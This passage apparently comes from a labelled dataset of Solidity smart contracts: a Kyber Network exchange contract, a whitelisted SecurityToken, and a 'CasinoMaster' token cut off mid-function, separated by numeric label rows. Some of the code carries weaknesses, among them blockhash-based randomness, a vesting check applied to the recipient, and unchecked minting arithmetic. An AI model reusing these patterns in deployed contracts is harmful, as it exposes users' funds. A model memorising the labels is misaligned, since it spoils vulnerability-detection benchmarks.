numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator;
}
}
interface FeeBurnerInterface {
function handleFees (uint tradeWeiAmount, address reserve, address wallet) public returns(bool);
}
interface KyberReserveInterface {
function trade(
ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate
)
public
payable
returns(bool);
function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint);
}
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
interface ExpectedRateInterface {
function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) public view
returns (uint expectedRate, uint slippageRate);
}
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
uint constant internal MAX_GROUP_SIZE = 50;
function PermissionGroups() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[]) {
return operatorsGroup;
}
function getAlerters () external view returns(address[]) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(newAdmin);
AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
event AdminClaimed( address newAdmin, address previousAdmin);
function claimAdmin() public {
require(pendingAdmin == msg.sender);
AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]);
require(alertersGroup.length < MAX_GROUP_SIZE);
AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]);
require(operatorsGroup.length < MAX_GROUP_SIZE);
OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
OperatorAdded(operator, false);
break;
}
}
}
}
contract WhiteListInterface {
function getUserCapInWei(address user) external view returns (uint userCapWei);
}
contract Withdrawable is PermissionGroups {
event TokenWithdraw(ERC20 token, uint amount, address sendTo);
function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin {
require(token.transfer(sendTo, amount));
TokenWithdraw(token, amount, sendTo);
}
event EtherWithdraw(uint amount, address sendTo);
function withdrawEther(uint amount, address sendTo) external onlyAdmin {
sendTo.transfer(amount);
EtherWithdraw(amount, sendTo);
}
}
contract KyberNetwork is Withdrawable, Utils {
uint public negligibleRateDiff = 10;
KyberReserveInterface[] public reserves;
mapping(address=>bool) public isReserve;
WhiteListInterface public whiteListContract;
ExpectedRateInterface public expectedRateContract;
FeeBurnerInterface public feeBurnerContract;
uint public maxGasPrice = 50 * 1000 * 1000 * 1000;
bool public enabled = false;
mapping(bytes32=>uint) public info;
mapping(address=>mapping(bytes32=>bool)) public perReserveListedPairs;
function KyberNetwork(address _admin) public {
require(_admin != address(0));
admin = _admin;
}
event EtherReceival(address indexed sender, uint amount);
function() public payable {
require(isReserve[msg.sender]);
EtherReceival(msg.sender, msg.value);
}
event ExecuteTrade(address indexed sender, ERC20 src, ERC20 dest, uint actualSrcAmount, uint actualDestAmount);
function trade(
ERC20 src,
uint srcAmount,
ERC20 dest,
address destAddress,
uint maxDestAmount,
uint minConversionRate,
address walletId
)
public
payable
returns(uint)
{
require(enabled);
uint userSrcBalanceBefore;
uint userSrcBalanceAfter;
uint userDestBalanceBefore;
uint userDestBalanceAfter;
userSrcBalanceBefore = getBalance(src, msg.sender);
if (src == ETH_TOKEN_ADDRESS)
userSrcBalanceBefore += msg.value;
userDestBalanceBefore = getBalance(dest, destAddress);
uint actualDestAmount = doTrade(src,
srcAmount,
dest,
destAddress,
maxDestAmount,
minConversionRate,
walletId
);
require(actualDestAmount > 0);
userSrcBalanceAfter = getBalance(src, msg.sender);
userDestBalanceAfter = getBalance(dest, destAddress);
require(userSrcBalanceAfter <= userSrcBalanceBefore);
require(userDestBalanceAfter >= userDestBalanceBefore);
require((userDestBalanceAfter - userDestBalanceBefore) >=
calcDstQty((userSrcBalanceBefore - userSrcBalanceAfter), getDecimals(src), getDecimals(dest),
minConversionRate));
return actualDestAmount;
}
event AddReserveToNetwork(KyberReserveInterface reserve, bool add);
function addReserve(KyberReserveInterface reserve, bool add) public onlyAdmin {
if (add) {
require(!isReserve[reserve]);
reserves.push(reserve);
isReserve[reserve] = true;
AddReserveToNetwork(reserve, true);
} else {
isReserve[reserve] = false;
for (uint i = 0; i < reserves.length; i++) {
if (reserves[i] == reserve) {
reserves[i] = reserves[reserves.length - 1];
reserves.length--;
AddReserveToNetwork(reserve, false);
break;
}
}
}
}
event ListReservePairs(address reserve, ERC20 src, ERC20 dest, bool add);
function listPairForReserve(address reserve, ERC20 src, ERC20 dest, bool add) public onlyAdmin {
(perReserveListedPairs[reserve])[keccak256(src, dest)] = add;
if (src != ETH_TOKEN_ADDRESS) {
if (add) {
src.approve(reserve, 2**255);
} else {
src.approve(reserve, 0);
}
}
setDecimals(src);
setDecimals(dest);
ListReservePairs(reserve, src, dest, add);
}
function setParams(
WhiteListInterface _whiteList,
ExpectedRateInterface _expectedRate,
FeeBurnerInterface _feeBurner,
uint _maxGasPrice,
uint _negligibleRateDiff
)
public
onlyAdmin
{
require(_whiteList != address(0));
require(_feeBurner != address(0));
require(_expectedRate != address(0));
require(_negligibleRateDiff <= 100 * 100);
whiteListContract = _whiteList;
expectedRateContract = _expectedRate;
feeBurnerContract = _feeBurner;
maxGasPrice = _maxGasPrice;
negligibleRateDiff = _negligibleRateDiff;
}
function setEnable(bool _enable) public onlyAdmin {
if (_enable) {
require(whiteListContract != address(0));
require(feeBurnerContract != address(0));
require(expectedRateContract != address(0));
}
enabled = _enable;
}
function setInfo(bytes32 field, uint value) public onlyOperator {
info[field] = value;
}
function getNumReserves() public view returns(uint) {
return reserves.length;
}
function getReserves() public view returns(KyberReserveInterface[]) {
return reserves;
}
function getBalance(ERC20 token, address user) public view returns(uint) {
if (token == ETH_TOKEN_ADDRESS)
return user.balance;
else
return token.balanceOf(user);
}
function findBestRate(ERC20 src, ERC20 dest, uint srcQty) public view returns(uint, uint) {
uint bestRate = 0;
uint bestReserve = 0;
uint numRelevantReserves = 0;
uint numReserves = reserves.length;
uint[] memory rates = new uint[](numReserves);
uint[] memory reserveCandidates = new uint[](numReserves);
for (uint i = 0; i < numReserves; i++) {
if (!(perReserveListedPairs[reserves[i]])[keccak256(src, dest)]) continue;
rates[i] = reserves[i].getConversionRate(src, dest, srcQty, block.number);
if (rates[i] > bestRate) {
bestRate = rates[i];
}
}
if (bestRate > 0) {
uint random = 0;
uint smallestRelevantRate = (bestRate * 10000) / (10000 + negligibleRateDiff);
for (i = 0; i < numReserves; i++) {
if (rates[i] >= smallestRelevantRate) {
reserveCandidates[numRelevantReserves++] = i;
}
}
if (numRelevantReserves > 1) {
random = uint(block.blockhash(block.number-1)) % numRelevantReserves;
}
bestReserve = reserveCandidates[random];
bestRate = rates[bestReserve];
}
return (bestReserve, bestRate);
}
function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty)
public view
returns (uint expectedRate, uint slippageRate)
{
require(expectedRateContract != address(0));
return expectedRateContract.getExpectedRate(src, dest, srcQty);
}
function getUserCapInWei(address user) public view returns(uint) {
return whiteListContract.getUserCapInWei(user);
}
function doTrade(
ERC20 src,
uint srcAmount,
ERC20 dest,
address destAddress,
uint maxDestAmount,
uint minConversionRate,
address walletId
)
internal
returns(uint)
{
require(tx.gasprice <= maxGasPrice);
require(validateTradeInput(src, srcAmount, destAddress));
uint reserveInd;
uint rate;
(reserveInd, rate) = findBestRate(src, dest, srcAmount);
KyberReserveInterface theReserve = reserves[reserveInd];
require(rate > 0);
require(rate < MAX_RATE);
require(rate >= minConversionRate);
uint actualSrcAmount = srcAmount;
uint actualDestAmount = calcDestAmount(src, dest, actualSrcAmount, rate);
if (actualDestAmount > maxDestAmount) {
actualDestAmount = maxDestAmount;
actualSrcAmount = calcSrcAmount(src, dest, actualDestAmount, rate);
require(actualSrcAmount <= srcAmount);
}
uint ethAmount;
if (src == ETH_TOKEN_ADDRESS) {
ethAmount = actualSrcAmount;
} else {
ethAmount = actualDestAmount;
}
require(ethAmount <= getUserCapInWei(msg.sender));
require(doReserveTrade(
src,
actualSrcAmount,
dest,
destAddress,
actualDestAmount,
theReserve,
rate,
true));
if ((actualSrcAmount < srcAmount) && (src == ETH_TOKEN_ADDRESS)) {
msg.sender.transfer(srcAmount - actualSrcAmount);
}
require(feeBurnerContract.handleFees(ethAmount, theReserve, walletId));
ExecuteTrade(msg.sender, src, dest, actualSrcAmount, actualDestAmount);
return actualDestAmount;
}
function doReserveTrade(
ERC20 src,
uint amount,
ERC20 dest,
address destAddress,
uint expectedDestAmount,
KyberReserveInterface reserve,
uint conversionRate,
bool validate
)
internal
returns(bool)
{
uint callValue = 0;
if (src == ETH_TOKEN_ADDRESS) {
callValue = amount;
} else {
src.transferFrom(msg.sender, this, amount);
}
require(reserve.trade.value(callValue)(src, amount, dest, this, conversionRate, validate));
if (dest == ETH_TOKEN_ADDRESS) {
destAddress.transfer(expectedDestAmount);
} else {
require(dest.transfer(destAddress, expectedDestAmount));
}
return true;
}
function calcDestAmount(ERC20 src, ERC20 dest, uint srcAmount, uint rate) internal view returns(uint) {
return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcSrcAmount(ERC20 src, ERC20 dest, uint destAmount, uint rate) internal view returns(uint) {
return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate);
}
function validateTradeInput(ERC20 src, uint srcAmount, address destAddress) internal view returns(bool) {
if ((srcAmount >= MAX_QTY) || (srcAmount == 0) || (destAddress == 0))
return false;
if (src == ETH_TOKEN_ADDRESS) {
if (msg.value != srcAmount)
return false;
} else {
if ((msg.value != 0) || (src.allowance(msg.sender, this) < srcAmount))
return false;
}
return true;
}
}
interface BurnableErc20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function burn(uint _value) public;
}
contract Burner {
KyberNetwork public kyberContract;
BurnableErc20 public destErc20;
function Burner(address _destErc20, address _kyberContract) public {
require(_destErc20 != address(0));
require(_kyberContract != address(0));
destErc20 = BurnableErc20(_destErc20);
kyberContract = KyberNetwork(_kyberContract);
}
function() public payable { }
function burn(uint maxSrcAmount, uint maxDestAmount, uint minConversionRate)
public
returns(uint)
{
uint ethToConvert = this.balance;
if (maxSrcAmount != 0 && maxSrcAmount < ethToConvert) {
ethToConvert = maxSrcAmount;
}
if (maxDestAmount == 0) {
maxDestAmount = 2**256 - 1;
}
if (minConversionRate == 0) {
minConversionRate = 1;
}
uint erc20ToBurn = kyberContract.trade.value(ethToConvert)(
ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee),
ethToConvert,
ERC20(destErc20),
this,
maxDestAmount,
minConversionRate,
0
);
destErc20.burn(erc20ToBurn);
return erc20ToBurn;
}
} | 1 | 3,162 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface IERC20 {
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
function totalSupply() external view returns (uint256);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
interface ISecurityToken {
function addToWhitelist(address _whitelistAddress) public returns (bool success);
function addToWhitelistMulti(address[] _whitelistAddresses) external returns (bool success);
function addToBlacklist(address _blacklistAddress) public returns (bool success);
function addToBlacklistMulti(address[] _blacklistAddresses) external returns (bool success);
function decimals() view external returns (uint);
function isWhiteListed(address _user) external view returns (bool);
}
contract SecurityToken is IERC20, Ownable, ISecurityToken {
using SafeMath for uint;
string public name;
string public symbol;
uint public decimals;
string public version;
uint public totalSupply;
uint public tokenPrice;
bool public exchangeEnabled;
bool public codeExportEnabled;
address public commissionAddress;
uint public deploymentCost;
uint public tokenOnlyDeploymentCost;
uint public exchangeEnableCost;
uint public codeExportCost;
string public securityISIN;
struct Shareholder {
bool allowed;
uint receivedAmt;
uint releasedAmt;
uint vestingDuration;
uint vestingCliff;
uint vestingStart;
}
mapping(address => uint) public balances;
mapping(address => mapping(address => uint)) public allowed;
mapping(address => Shareholder) public shareholders;
modifier onlyWhitelisted(address _to) {
require(shareholders[_to].allowed && shareholders[msg.sender].allowed);
_;
}
modifier onlyVested(address _from) {
require(availableAmount(_from) > 0);
_;
}
constructor (
uint _initialSupply,
string _tokenName,
string _tokenSymbol,
uint _decimalUnits,
string _version,
uint _tokenPrice,
string _securityISIN
) public payable
{
totalSupply = _initialSupply * (10**_decimalUnits);
name = _tokenName;
symbol = _tokenSymbol;
decimals = _decimalUnits;
version = _version;
tokenPrice = _tokenPrice;
securityISIN = _securityISIN;
balances[owner] = totalSupply;
deploymentCost = 25e17;
tokenOnlyDeploymentCost = 15e17;
exchangeEnableCost = 15e17;
codeExportCost = 1e19;
codeExportEnabled = true;
exchangeEnabled = true;
commissionAddress = 0x80eFc17CcDC8fE6A625cc4eD1fdaf71fD81A2C99;
commissionAddress.transfer(msg.value);
addToWhitelist(owner);
}
event LogTransferSold(address indexed to, uint value);
event LogTokenExchangeEnabled(address indexed caller, uint exchangeCost);
event LogTokenExportEnabled(address indexed caller, uint enableCost);
event LogNewWhitelistedAddress( address indexed shareholder);
event LogNewBlacklistedAddress(address indexed shareholder);
event logVestingAllocation(address indexed shareholder, uint amount, uint duration, uint cliff, uint start);
event logISIN(string isin);
function updateISIN(string _securityISIN) external onlyOwner() {
bytes memory tempISIN = bytes(_securityISIN);
require(tempISIN.length > 0);
securityISIN = _securityISIN;
emit logISIN(_securityISIN);
}
function allocateVestedTokens(address _to, uint _value, uint _duration, uint _cliff, uint _vestingStart )
external onlyWhitelisted(_to) onlyOwner() returns (bool)
{
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if (shareholders[_to].receivedAmt == 0) {
shareholders[_to].vestingDuration = _duration;
shareholders[_to].vestingCliff = _cliff;
shareholders[_to].vestingStart = _vestingStart;
}
shareholders[_to].receivedAmt = shareholders[_to].receivedAmt.add(_value);
emit Transfer(msg.sender, _to, _value);
emit logVestingAllocation(_to, _value, _duration, _cliff, _vestingStart);
return true;
}
function availableAmount(address _from) public view returns (uint256) {
if (block.timestamp < shareholders[_from].vestingCliff) {
return balanceOf(_from).sub(shareholders[_from].receivedAmt);
} else if (block.timestamp >= shareholders[_from].vestingStart.add(shareholders[_from].vestingDuration)) {
return balanceOf(_from);
} else {
uint totalVestedBalance = shareholders[_from].receivedAmt;
uint totalAvailableVestedBalance = totalVestedBalance.mul(block.timestamp.sub(shareholders[_from].vestingStart)).div(shareholders[_from].vestingDuration);
uint lockedBalance = totalVestedBalance - totalAvailableVestedBalance;
return balanceOf(_from).sub(lockedBalance);
}
}
function enableExchange(uint _tokenPrice) public payable {
require(!exchangeEnabled);
require(exchangeEnableCost == msg.value);
exchangeEnabled = true;
tokenPrice = _tokenPrice;
commissionAddress.transfer(msg.value);
emit LogTokenExchangeEnabled(msg.sender, _tokenPrice);
}
function enableCodeExport() public payable {
require(!codeExportEnabled);
require(codeExportCost == msg.value);
codeExportEnabled = true;
commissionAddress.transfer(msg.value);
emit LogTokenExportEnabled(msg.sender, msg.value);
}
function swapTokens() public payable onlyWhitelisted(msg.sender) {
require(exchangeEnabled);
uint tokensToSend;
tokensToSend = (msg.value * (10**decimals)) / tokenPrice;
require(balances[owner] >= tokensToSend);
balances[msg.sender] = balances[msg.sender].add(tokensToSend);
balances[owner] = balances[owner].sub(tokensToSend);
owner.transfer(msg.value);
emit Transfer(owner, msg.sender, tokensToSend);
emit LogTransferSold(msg.sender, tokensToSend);
}
function mintToken(address _target, uint256 _mintedAmount) public onlyWhitelisted(_target) onlyOwner() {
balances[_target] += _mintedAmount;
totalSupply += _mintedAmount;
emit Transfer(0, _target, _mintedAmount);
}
function transfer(address _to, uint _value) external onlyVested(_to) onlyWhitelisted(_to) returns(bool) {
require(_to != address(0));
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
external onlyVested(_to) onlyWhitelisted(_to) returns(bool success) {
require(_to != address(0));
require(balances[_from] >= _value);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns(uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) external returns(bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) external view returns(uint remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function addToWhitelist(address _whitelistAddress) onlyOwner public returns (bool success) {
shareholders[_whitelistAddress].allowed = true;
emit LogNewWhitelistedAddress(_whitelistAddress);
return true;
}
function addToWhitelistMulti(address[] _whitelistAddresses) onlyOwner external returns (bool success) {
for (uint256 i = 0; i < _whitelistAddresses.length; i++) {
addToWhitelist(_whitelistAddresses[i]);
}
return true;
}
function addToBlacklist(address _blacklistAddress) onlyOwner public returns (bool success) {
require(shareholders[_blacklistAddress].allowed);
shareholders[_blacklistAddress].allowed = false;
emit LogNewBlacklistedAddress(_blacklistAddress);
return true;
}
function addToBlacklistMulti(address[] _blacklistAddresses) onlyOwner external returns (bool success) {
for (uint256 i = 0; i < _blacklistAddresses.length; i++) {
addToBlacklist(_blacklistAddresses[i]);
}
return true;
}
function isWhiteListed(address _user) external view returns (bool) {
return shareholders[_user].allowed;
}
function totalSupply() external view returns (uint256) {
return totalSupply;
}
function decimals() external view returns (uint) {
return decimals;
}
} | 0 | 1,431 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "CasinoMaster";
string public constant TOKEN_SYMBOL = "CM";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0xa02ae181D472c906e42B5fe585D87a072768f294;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
